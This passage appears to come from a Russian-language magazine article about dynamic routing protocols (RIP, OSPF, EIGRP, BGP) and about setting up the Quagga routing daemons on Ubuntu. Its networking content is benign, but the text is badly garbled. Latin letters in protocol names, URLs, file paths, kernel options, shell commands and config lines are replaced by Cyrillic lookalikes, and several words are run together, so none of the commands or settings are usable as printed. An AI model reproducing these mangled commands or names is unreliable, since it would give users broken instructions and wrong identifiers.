каждые 30 секунд выбрасывают в сеть всю свою таблицу, показы- 
вая количествохоповдо каждой сети. Каждый маршрутизатор на 
основеполученныхданныхстроитмаршруты (пехібор) и выбирает 
кратчайший. В больших сетях РІР нехил о засоряет трафик. Коли- 
чество хопов не может превышать 15. Если роутер не отвечает в 
течение 180 секунд, то количествохоповдо него приравнивается к 
16 и маршрутотмечается как нерабочий. Для протоколахарактер- 
но зацикливание и образование «черных дыр», что устраняется 
за счет ограничения обновлений в обратном направлении. В 
настоящее время актуальны версии РІРѵ2 (РРС 2453) и РІРпд (под- 
держивает ІРѵб). Использует 520/ІЮР. 



І Т Л»№1 

Сайт проекта ВІРй — 

Ьігсі.пеіѵѵогк.сг . 

Сайт проекта Оиад- 

да — диадда.пеі . 

Документация 
Оиадда — диаааа. 

пеі/гіосз . 

Найти все РРС можно 
на сайте іеіі.огд . 






Для последующей 
установки Оиадда 
необходимо собрать 
ядро с параметрами 
С0ЫРІ6_МЕТІ_ШК, 
ссжріо.ртмЕтимк 
исонріе_ір_міл_- 

ТІСА5Т. 



ішп 

В Оиадда каждый 

протокол 

обслуживается 

отдельным 

сервером. 

Все команды, 
вводимые в консоли, 
сразу же вступают 
в силу. 

В каталоге /ивг/ 

зЬаге/сІос/диадда/ 

іооіб доступно 

несколько 

вспомогательных 

скриптов. 
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• 05РР (Ореп БИогІезІ РаІКі Рігзі) — протокол, основанный на тех- 
нологии отслеживания состояния канала (Ііпк-зіаіе ІесЬпоІоду) 
и алгоритме Дей кстры для определения кратчайшего пути 
(перебираются всеточки и вычисляется оптимальный путь). 
Смежные маршрутизаторы обмениваются данными о состоянии 
канала, на основании которых строятся таблицы. Всем процес- 
сом управляют выделенный йР Шезідпаіеб гоиіег) и резервный 
ВйР (Васкир Оезідпаіесі Роиіег). Используется несколькотипов 
оповещения о состоянии канала и типов зон. Обмен данными 
происходит по 89/1 Р. Последняя версия описана в РРС 2328 (в 
нескольких РРС даны расширения типов). 

• ЕІ6РР(ЕпІіапсесІІпІегіог0аІеѵѵауРоиІіпд Ргоіосоі) — усовер- 
шенствованная версия редко используемого протокола ІОРР от 
С і 5 с о . На выбор маршрута влияют задержки в сети, полоса про- 
пускания, загруженность. Уступает 05РР в скорости, но более 
прост и функционален в настройке. 

• ВОР (Вогсіегбаіеѵѵау Ргоіосоі, 179/ТСР) — предназначен недля 
обмена данных между отдельными маршрутизаторами (как 

и 15-15), а для управления целыми сетями (А5, Аиіопотоиз 
5узІет). Он обычно «интересен» в том случае, когда выкуплен 
диапазон ІР, хотя в некоторых сценариях можно использовать и 
«серые»адреса. 

Отсюда можно сделать вывод, что для решения наших задач 
нужен маршрутизатор, поддерживающий протоколы РІР, 05РР, а 
иногда и ВОР. Найти такой маршрутизатор несложно, ведь сегод- 
ня даже некоторые модели нижнего ценового диапазона умеют 
работать как минимум с РІР. При этом такую систему можно со- 
брать самому при помощи любого *піх. Для поддержки динамиче- 
ской маршрутизации требуется дополнительно установить соот- 
ветствующее ПО. На сегодняшний день известно несколько таких 
приложений. Например, 0репВ0Р0/0реп05РР0 (орепЬдрб.огд) 
предлагает реализацию протоколов В0Рѵ4 и 05РР для 0репВ50. 
Их поддержка доступна в ОС с версии 3.5/3. 7. Чтобы активировать 
ее, достаточно включить ІР-форвардинг. 

• ѵі /еѣс/зузс-Ы. соп-Р 

п е* . і п е* . і р . -Ро гыа гсі і п §= 1 

Затем нужно прописать настройки в /еіс/озр^сі.сопі 1 или 
оврІ'бсІ.сопС используя имеющиеся в качестве шаблона. 

В других *піх (в том числе и Ыпих) нашу задачу можно решить 
с помощью одного из двух пакетов, которые поддерживают дина- 
мические протоколы маршрутизации: 

• ВІРй (ВІРй Іпіегпеі Роиііпд йаетоп, Ьігсі.пеіѵѵогк.сг) — под- 
держивает статическую маршрутизацию и протоколы РІРѵ2, 
ВСРѵ4, 05РРѵ2/ѵЗ, имеетфункции мягкой переконфигурации и 
отличается мощным языком фильтрации маршрутов. 

• Оиадда (диадда.пеі) — поддерживает статическую маршрути- 
зацию, а также протоколы ВСРѵ4 и ѵ4+, РІР ѵ1/ѵ2/ѵЗ, РІРпд, 05РР 
ѵ2/ѵЗ и 15-15. 

Это наиболее популярные сегодня решения, которые позволяют 
превратить компьютер в полнофункциональный маршрутизатор. 
Эти пакеты можно найти в репозиториях большинства дистрибу- 
тивов, поэтому проблем с установкой не будет. 



УСТАНОВКА США66А В ІІВІІМТІІ ШІІХ 



Пакет был создан на основе программы СІЧІІ 2еЬга, разработка 
которой приостановилась в 2005 году, а точнее на основе версии 
с неофициальными патчами 2еЬга-р). Компьютер с установ- 
ленным Оиадда может служить полноценным роутером или 
отражателем маршрутов (Роиіе РеЛесІогз). Последняя функция 
характерна для протокола В6Р, в котором маршруты от одного 
спикера (зреакег) по умолчанию не передаются дальше. Акти- 
вация РР позволяет обойти это ограничение, то есть реализует 
подход, аналогичный РР и ЕЮР в 05РР, позволяя резервировать 




В сІеЬіап.сопТ редактируем параметры запуска демонов 

маршруты в разветвленных сетях. В Оиадда на каждый протокол 
выделяется отдельный демон, а общее управление осуществляет 
демон геЬга (соге баетоп), в задачу которого входят в том числе 
перестройка таблицы маршрутизации, установка статических 
маршрутов и предоставление АРІ. Такая схема позволяет при 
необходимости легко добавить поддержку другого протокола. 
Проблему одновременного управления несколькими демонами 
решает терминал ѵіузб, который выступает в качестве прокси для 
пользовательских команд при подключении к сокету каждого за- 
пущенного процесса Оиадда. Консоль ѵіузб идентична Сізсо СИ, 
поэтому для тех, кто работал с Сізсо, все команды будут знакомы, 
а все вышесказанное в некоторой степени применимо и к марш- 
рутизаторам этой фирмы. 

Пакет Оиадда доступен в репозиториях большинства дистри- 
бутивов Ыпих, портах *В5й и 0реп5оІагіз. В ІІЬипІи достаточно 
ввести: 

$ зисіо арі-деі: іпзііаіі диа^а 

Итак, все установлено. Перейдем к настройкам, без которых 
ничего работать не будет. Конфигурационные файлы находятся 
в /еіс/диадда. Пакет поддерживает множество настроек, все 
параметры расписаны в документации на сайте, посвященном 
пакету: диадда.пеі/бос. Запуск демонов (то есть поддерживаемых 
протоколов) прописывается в файле /еіс/диадда/баетопз. По 
умолчанию все отключено. Далее нам понадобится только 05РР: 

$ зисіо папо /е1:с/диа§§а/баетоп5 

геЬга=уез 

озр-Рб=уез 

Ь§рб=по 

# протокол 05РР для ІРѵб 

озр-Р6б=по 

гірб=по 

# протокол КІ Рпе ІРѵб 
гірп§б=по 

І5І5СІ = ПО 



Вместо уез или по можно использовать цифровые значения, 
показывающие приоритет: 1 (самый высокий приоритет)-10 (са- 
мый низкий приоритет) или 0 (отключено). 

Список ТСР-портов, на которых демоны слушают подключе- 
ния, можно узнать в /еіс/зегѵісез: 

$ §гер геЬпа /еііс/зегѵісез 

В процессе работы часто возникает необходимость коррек- 
тировать настройки демонов без перезапуска, поэтому в Оиадда 
используется два способа изменения настроек. Начальные 
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